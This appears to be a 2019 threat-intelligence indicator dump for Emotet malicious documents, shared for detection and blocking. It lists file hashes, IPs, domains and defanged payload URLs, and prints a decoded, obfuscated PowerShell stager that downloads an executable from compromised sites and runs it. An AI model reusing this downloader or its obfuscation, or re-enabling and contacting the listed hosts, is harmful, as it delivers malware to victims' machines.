Emotet_Doc_out_2019-10-11_15_09.txt

#Emotet #Docs #malware #OSINT #IOC

MD5:
ca6eac939b8c6c6749c4c198bf63d4a4
e17da5e8a15e60488592b74c60a0cf9e
ed2242211fbe23cb978fd32ca60b1e44
05ab7961590f2645d961aa2e4af908f0
b945d13a30cd7d3e7e3eb6922f5c4c67
a2b93fb049f7d741a96b8eaa96551078
73a79edb7ef429a19870719423591683
74c3eb3eb5870cf8714f0e958d2b860b
cfe506d66ade41d79e03bbadf966a4c9
ea97f14c8e25a6c8f1249f78c4ebd6fd
fae102fe383374568368639fa05db547
23489429f9bc8fcf7f1e8804c7077024
802cf3ef850d890fafe3644610471a3c
802cf3ef850d890fafe3644610471a3c
9920da4fc04edd3935fa60cd31d66ad3
9920da4fc04edd3935fa60cd31d66ad3
491a2473882531d6ccecba5f627e817b
1268c925af6d09716a2951f6a5ea97d3
1df046f57940afd86dbd6246fcccb3ce
5d6170f324a7e2f5eb6184f8eb6c4b93
5d6170f324a7e2f5eb6184f8eb6c4b93
67290c17b1fb193ee32e8c443105946d
67290c17b1fb193ee32e8c443105946d
783a16f65fab5a0955addd38d23cf8f8
c1a0921c77b01ee08d97a110b22c2ea4
e573c7d268db28ad90e2ea6e8d15c794
9b1bb4d31c6bb962754f640aeab1b250
d3030dafa1bc5389580a5de0a2a0a6e5
fd900c90a72faec6fe7fac210c817f4d
cb6bf35544c26859db9d5b31019abd5e
34df7390e3fba4cc8b8de327c79c3741
47d09a52c2303d76aec7bc17b08f21f8
7a920a34798ccf99e79d4314dfd8242d
f6da7442680d67f955d4986b503e1fc2
377c247fe09fdee4e0d6b4866b943f5b
53a59d4834b152bb4586e440acbe717d
639efc02c91bdd97576fa622da9b0f13
7ffd2d935ba9d7f8e2977526cc3390cb
9840a295bf4845d05eade40bf25b9520
b9149277e89e0909af8829f0a2bcc50a
a4c613e8c14440eabbf683c45fd6c5c1
fc8ba86225cd3f55985deceafb59bd9f
406195489b8919c93db1bdb93b464390
d06062f5e7cbd91fc7564fc43eb06a33


IPs:
101.50.1.68
103.129.99.21
104.31.66.208
104.31.67.208
107.180.50.227
107.180.51.38
110.10.129.117
112.213.89.96
159.253.39.149
159.65.4.213
162.144.93.20
162.220.165.20
166.62.28.132
182.50.151.84
185.224.138.150
198.71.59.14
50.116.81.149
51.91.176.30
66.96.147.145
70.40.197.247
91.218.229.12


Domains:
blipbillboard.com
brouq-sa.com
careerplussatna.com
citylandgovap.net
craftlok.com
deredia.com
erakonlaw.com
fattoriaiponti.com
firstmnd.com
gullukomurelektronik.com
javcastle.com
ndcgc.org
niningwindarti.com
planetlancer.com
polishmenailboutique.com
pradopro.ru
rameshzawar.com
thesilverant.com
upeya.org
www.ethiofidel.com


URLs:
hxxps://thesilverant.com/test/dvr9/*hxxp://firstmnd.com/wp/wp-content/3k960/*hxxp://citylandgovap.net/8dqs5fv/6J/*hxxp://deredia.com/cgi-bin/cbas/*hxxp://fattoriaiponti.com/wp-admin/o1wiEqPfN/
hxxps://www.microsoft.com/ #> $b545824x5060=
hxxps://craftlok.com/wp-mail/pkib8hz_jxklztf-0587300276/
hxxp://upeya.org/wp-includes/uIcbrMKbd/
hxxp://www.ethiofidel.com/cgi-bin/htt6ft2j_eh9u68dup-79/
hxxp://blipbillboard.com/iexolau/qqqPxitN/
hxxp://gullukomurelektronik.com/results1/wqo4dg6_3arh7-1595/
hxxps://www.microsoft.com/ #> $b545824x5060=
hxxps://craftlok.com/wp-mail/pkib8hz_jxklztf-0587300276/
hxxp://upeya.org/wp-includes/uIcbrMKbd/
hxxp://www.ethiofidel.com/cgi-bin/htt6ft2j_eh9u68dup-79/
hxxp://blipbillboard.com/iexolau/qqqPxitN/
hxxp://gullukomurelektronik.com/results1/wqo4dg6_3arh7-1595/


Decoded Base64 Powershell:
<# hxxps://www.microsoft.com/ #> $b0905020c90c5='b813763439c0c';
$bx247046052 = '877';
$x901x4312353='xbc9122043x';
$b48079070b192=$env:userprofile+'\'+$bx247046052+'.exe';
$x3cb04295768='cx1xxxx6b85';
$c44290202xx04=.('new'+'-objec'+'t') nET.wEbCliENT;
$bc330180c08='hxxps://thesilverant.com/test/dvr9/*hxxp://firstmnd.com/wp/wp-content/3k960/*hxxp://citylandgovap.net/8dqs5fv/6J/*hxxp://deredia.com/cgi-bin/cbas/*hxxp://fattoriaiponti.com/wp-admin/o1wiEqPfN/'."Sp`lit"('*');
$x336c5010b27='b967b1x2012';
foreach($x37500810057c in $bc330180c08){try{$c44290202xx04."dOWnL`Oadf`ILE"($x37500810057c, $b48079070b192);
$b62681xc3cx4='xb005b0506x35';
If ((&('Get'+'-It'+'em') $b48079070b192)."Le`NGth" -ge 27918) {[Diagnostics.Process]::"stA`Rt"($b48079070b192);
$x2b078778400='b10201010060';
break;
$b20820x02c335='x1x11x04c58'}}catch{}}$bc5900b381827='c079809968689'<# hxxps://www.microsoft.com/ #> $b545824x5060='b90014127090';
$c602409670426 = '266';
$c64518507063='b0b0c0b65205';
$c0cb0000x03b=$env:userprofile+'\'+$c602409670426+'.exe';
$b00x0802b269c='c9b90c070b4';
$x00x9400620c0=&('new-ob'+'j'+'ect') Net.WeBCLiEnT;
$b54636b2b3177='hxxps://craftlok.com/wp-mail/pkib8hz_jxklztf-0587300276/
hxxp://upeya.org/wp-includes/uIcbrMKbd/
hxxp://www.ethiofidel.com/cgi-bin/htt6ft2j_eh9u68dup-79/
hxxp://blipbillboard.com/iexolau/qqqPxitN/
hxxp://gullukomurelektronik.com/results1/wqo4dg6_3arh7-1595/'."s`PlIt"('
');
$xc696620b53='x00540326709';
foreach($b47x04xb9c0c in $b54636b2b3177){try{$x00x9400620c0."DowNLoaD`F`iLe"($b47x04xb9c0c, $c0cb0000x03b);
$cc007471000c7='c10030b04980';
If ((&('Get-'+'Item') $c0cb0000x03b)."LEN`gth" -ge 37626) {[Diagnostics.Process]::"ST`ArT"($c0cb0000x03b);
$bx3069170400='c2c0093c000';
break;
$b104984c0000='bx63019045b0'}}catch{}}$b26003930x2='c05301b8b160'<# hxxps://www.microsoft.com/ #> $b545824x5060='b90014127090';
$c602409670426 = '266';
$c64518507063='b0b0c0b65205';
$c0cb0000x03b=$env:userprofile+'\'+$c602409670426+'.exe';
$b00x0802b269c='c9b90c070b4';
$x00x9400620c0=&('new-ob'+'j'+'ect') Net.WeBCLiEnT;
$b54636b2b3177='hxxps://craftlok.com/wp-mail/pkib8hz_jxklztf-0587300276/
hxxp://upeya.org/wp-includes/uIcbrMKbd/
hxxp://www.ethiofidel.com/cgi-bin/htt6ft2j_eh9u68dup-79/
hxxp://blipbillboard.com/iexolau/qqqPxitN/
hxxp://gullukomurelektronik.com/results1/wqo4dg6_3arh7-1595/'."s`PlIt"('
');
$xc696620b53='x00540326709';
foreach($b47x04xb9c0c in $b54636b2b3177){try{$x00x9400620c0."DowNLoaD`F`iLe"($b47x04xb9c0c, $c0cb0000x03b);
$cc007471000c7='c10030b04980';
If ((&('Get-'+'Item') $c0cb0000x03b)."LEN`gth" -ge 37626) {[Diagnostics.Process]::"ST`ArT"($c0cb0000x03b);
$bx3069170400='c2c0093c000';
break;
$b104984c0000='bx63019045b0'}}catch{}}$b26003930x2='c05301b8b160'